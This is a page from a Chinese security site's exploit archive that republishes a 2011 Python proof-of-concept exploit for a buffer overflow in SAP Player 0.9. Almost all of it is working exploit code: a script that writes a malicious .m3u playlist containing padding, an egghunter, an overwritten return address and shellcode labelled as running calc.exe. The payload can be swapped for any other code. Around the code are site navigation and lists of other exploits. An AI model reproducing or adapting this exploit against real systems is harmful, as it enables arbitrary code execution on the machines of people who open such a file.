首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SAP Player 0.9 Buffer Overflow
来源:abhil00703[at]gmail[dot]com 作者:Abhishek 发布时间:2011-07-06  
#SAP Player 0.9 (.m3u) universal  Diret ret version
#Author Abhishek Sahni - abhil00703[at]gmail[dot]com, info[at]aslitsecurity[dot]com
#Web - http://www.aslitsecurity.com/
#Blog - http://www.aslitsecurity.blogspot.com/
#Download Vulnerable application from http://www.sorinara.com/sap/sap09.exe
#Vulnerable version SAP Player 0.9
#Tested on XP SP2
#Greets Villy, and ASL IT SECURITY TEAM
#!/usr/bin/python


filename = "ASL.m3u"


 
egghunter = (
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x41\x42\x48\x49"        # Egghunter tag "ABHIABHI"  Greets http://www.corelan.be:8800
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
)
 
buff = "\x41" * (512 - len(egghunter))

eip = "\x4a\x12\x40\x00" #0040124a CALL EDI from SAP.exe


#windows/exec - CMD=calc.exe
shellcode = (
"\x41\x42\x48\x49\x41\x42\x48\x49"      #Egg Hunted
"\xDB\xDF\xD9\x74\x24\xF4\x58\x2B\xC9\xB1\x33\xBA"
"\x4C\xA8\x75\x76\x83\xC0\x04\x31\x50\x13\x03\x1C\xBB\x97\x83\x60"
"\x53\xDE\x6C\x98\xA4\x81\xE5\x7D\x95\x93\x92\xF6\x84\x23\xD0\x5A"
"\x25\xCF\xB4\x4E\xBE\xBD\x10\x61\x77\x0B\x47\x4C\x88\xBD\x47\x02"
"\x4A\xDF\x3B\x58\x9F\x3F\x05\x93\xD2\x3E\x42\xC9\x1D\x12\x1B\x86"
"\x8C\x83\x28\xDA\x0C\xA5\xFE\x51\x2C\xDD\x7B\xA5\xD9\x57\x85\xF5"
"\x72\xE3\xCD\xED\xF9\xAB\xED\x0C\x2D\xA8\xD2\x47\x5A\x1B\xA0\x56"
"\x8A\x55\x49\x69\xF2\x3A\x74\x46\xFF\x43\xB0\x60\xE0\x31\xCA\x93"
"\x9D\x41\x09\xEE\x79\xC7\x8C\x48\x09\x7F\x75\x69\xDE\xE6\xFE\x65"
"\xAB\x6D\x58\x69\x2A\xA1\xD2\x95\xA7\x44\x35\x1C\xF3\x62\x91\x45"
"\xA7\x0B\x80\x23\x06\x33\xD2\x8B\xF7\x91\x98\x39\xE3\xA0\xC2\x57"
"\xF2\x21\x79\x1E\xF4\x39\x82\x30\x9D\x08\x09\xDF\xDA\x94\xD8\xA4"
"\x05\x77\xC9\xD0\xAD\x2E\x98\x59\xB0\xD0\x76\x9D\xCD\x52\x73\x5D"
"\x2A\x4A\xF6\x58\x76\xCC\xEA\x10\xE7\xB9\x0C\x87\x08\xE8\x6E\x46"
"\x9B\x70\x5F\xED\x1B\x12\x9F"
)



padd = "\x41" * 1000


payload = buff + egghunter + eip + padd + shellcode



textfile = open(filename , 'w')
textfile.write(buff+egghunter+eip+padd+shellcode)
textfile.close()

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Destiny Player 1.6.1.0 Buffer
·Wordtrainer 3.0 .ORD File Buff
·Word List Builder 1.0 Buffer O
·Golden FTP 4.70 PASS overflow
·PHP 5.3.6 Buffer Overflow PoC
·Daemon Tools Lite 4.40.2.0.013
·CoolPlayer 219 Buffer Overflow
·Freefloat FTP Server Buffer Ov
·HP OmniInet.exe Opcode 20 Buff
·CoolPlayer Portable 2.19.2 Buf
·VSFTPD 2.3.4 Backdoor Command
·Dlink DSL-2650U Dos/PoC
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved